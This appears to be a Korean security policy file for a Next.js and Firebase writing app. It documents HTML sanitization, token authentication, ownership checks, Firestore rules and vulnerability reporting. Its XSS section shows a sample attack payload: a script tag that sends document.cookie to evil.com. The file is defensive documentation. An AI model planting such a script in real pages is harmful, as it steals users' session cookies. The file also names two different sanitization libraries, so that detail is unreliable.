2025-11-19 03:03:15 +00:00

261 lines
7.4 KiB
Markdown

# Security Policy
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
---
## 🔒 보안 조치 요약
| 보안 영역 | 조치 | 상태 | 적용일 |
|----------|------|------|--------|
| **XSS 방지** | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
| **인증** | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
| **API 인증** | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
| **SQL Injection** | Firestore (NoSQL) | ✅ 원천 방지 | - |
| **CSRF** | SameSite Cookies | 🚧 검토 필요 | - |
| **Rate Limiting** | API 요청 제한 | ⏳ 예정 | - |
---
## 1. XSS (Cross-Site Scripting) 방지
### 문제점
- 사용자가 작성한 글 (`writings` 컬렉션)의 `content` 필드는 **HTML 문자열**로 저장됩니다.
- Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 **API를 직접 호출**하여 악성 스크립트를 주입할 수 있습니다.
**공격 시나리오**:
```typescript
// 악의적인 API 호출
POST /api/writing
{
"title": "정상 제목",
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}
```
### 해결책: HTML Sanitization
**백엔드 자동 세탁** (`src/lib/server/writing.ts`):
```typescript
import { sanitizeHtml } from "@/utils/sanitizeHtml";
// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);
// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
updateData.content = sanitizeHtml(data.content);
}
```
**세탁 규칙** (`src/utils/sanitizeHtml.ts`):
-**허용된 태그**: `<p>`, `<strong>`, `<em>`, `<h1-6>`, `<ul>`, `<ol>`, `<li>`, `<a>`, `<img>`, `<blockquote>`, `<code>`, 등 (Tiptap 기본)
-**차단된 태그**: `<script>`, `<iframe>`, `<object>`, `<embed>`, `<style>`, `<link>`, `<meta>`, 등
-**차단된 속성**: `onerror`, `onclick`, `onmouseover`, 모든 `on*` 이벤트 핸들러
-**차단된 프로토콜**: `javascript:`, 위험한 `data:` URI
**라이브러리**: `sanitize-html` (서버 사이드 전용, Next.js와 호환성 우수)
**테스트 커버리지**: 26개 유닛 테스트 (`src/utils/__tests__/sanitizeHtml.test.ts`)
- ✅ 안전한 HTML 보존 테스트 (7개)
- ✅ XSS 공격 벡터 차단 테스트 (10개)
- ✅ Edge case 처리 (4개)
- ✅ 실제 Tiptap HTML 호환성 (2개)
- ✅ 배치 처리 및 객체 세탁 (3개)
**성능 영향**:
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
- 글 저장 시 한 번만 실행 (조회 시 불필요)
---
## 2. 인증 (Authentication)
### Firebase Authentication
- **제공자**: Email/Password, Google OAuth
- **익명 로그인**: 팀 코드 기반 (Level 1 보안)
- **정식 계정**: Google 계정 연동, 이메일/비밀번호
### API 인증
모든 API 요청은 Firebase ID Token 검증:
```typescript
// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
if (!authHeader?.startsWith("Bearer ")) {
throw new Error("인증 토큰이 없습니다.");
}
const idToken = authHeader.substring(7);
const decodedToken = await adminAuth.verifyIdToken(idToken);
return decodedToken;
}
```
**적용 위치**: 모든 `POST`, `PUT`, `DELETE` API 엔드포인트
---
## 3. 권한 관리 (Authorization)
### 글 소유권 검증
- 사용자는 **본인의 글만** 조회/수정/삭제 가능
- 백엔드에서 `userId` 검증:
```typescript
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
const writing = await getWriting(writingId);
return writing !== null && writing.userId === userId;
}
```
### 팀 권한
- **소유자(Owner)**: 팀 설정 변경, 멤버 관리, 삭제
- **멤버**: 팀 조회, 주제 작성, 탈퇴
---
## 4. SQL Injection 방지
**Firestore 사용으로 원천 차단**:
- NoSQL 데이터베이스 사용
- 쿼리는 타입 안전한 SDK로만 실행
- Raw SQL 쿼리 불가능
---
## 5. 데이터 보호
### 민감 정보 처리
- **이메일**: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
- **비밀번호**: Firebase Auth가 암호화 관리
- **API 키**: 환경 변수로 관리 (`.env` 파일, `.gitignore` 적용)
### Firestore 보안 규칙
```javascript
// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// 사용자는 본인 문서만 읽기/쓰기
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// 글은 소유자만 수정/삭제
match /writings/{writingId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update, delete: if request.auth.uid == resource.data.userId;
}
}
}
```
---
## 6. HTTPS 강제
**Production 환경**:
- ✅ Vercel 배포 시 자동 HTTPS 적용
- ✅ HTTP → HTTPS 자동 리다이렉트
- ✅ HSTS 헤더 설정
---
## 7. 환경 변수 보호
**민감 정보 관리**:
```bash
# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
```
**보안 체크리스트**:
-`.env` 파일은 `.gitignore`에 포함
-`NEXT_PUBLIC_*`은 클라이언트 노출 가능 (Firebase API Key)
- ✅ 서버 전용 변수는 `NEXT_PUBLIC_` 접두어 없이 사용
- ✅ Production 환경 변수는 Vercel에서 관리
---
## 8. Rate Limiting (예정)
**계획 중인 조치**:
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
- DDoS 방지
- Vercel Edge Functions + Upstash Redis 고려
---
## 9. 보안 취약점 발견 시
### 보고 절차
1. **즉시 보고**: GitHub Issues에 **비공개** 이슈 생성 (Security Advisories 사용)
2. **제목 형식**: `[SECURITY] 취약점 요약`
3. **포함 정보**:
- 취약점 설명
- 재현 방법 (PoC)
- 영향 범위
- 제안 해결책
### 보안 업데이트 절차
1. 취약점 확인 및 우선순위 설정
2. 패치 개발 및 테스트
3. 긴급 배포 (Critical 취약점)
4. 공개 공지 (패치 후)
---
## 10. 보안 체크리스트 (개발자용)
**새 기능 개발 시 확인 사항**:
- [ ] 사용자 입력 검증 (클라이언트 + 서버)
- [ ] HTML/SQL Injection 방지
- [ ] 인증/권한 확인
- [ ] 민감 정보 로깅 금지
- [ ] HTTPS 사용
- [ ] 환경 변수 적절히 관리
- [ ] 에러 메시지에 민감 정보 노출 금지
- [ ] 보안 테스트 작성
**의존성 관리**:
```bash
# 정기적으로 취약점 검사
npm audit
npm audit fix
# 의존성 업데이트
npm update
```
---
## 11. 참고 자료
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [Firebase Security Rules](https://firebase.google.com/docs/rules)
- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
- [Next.js Security](https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy)
---
## 12. 보안 업데이트 이력
| 날짜 | 조치 | 설명 |
|------|------|------|
| 2025-11-19 | XSS 방지 | HTML Sanitization 구현 (DOMPurify) |
| 2025-10-xx | 인증 시스템 | Firebase Auth 적용 |
| 2025-10-xx | API 인증 | ID Token 검증 적용 |
---
**Last Updated**: 2025-11-19
**Security Contact**: [프로젝트 이슈 트래커](https://github.com/[your-repo]/issues)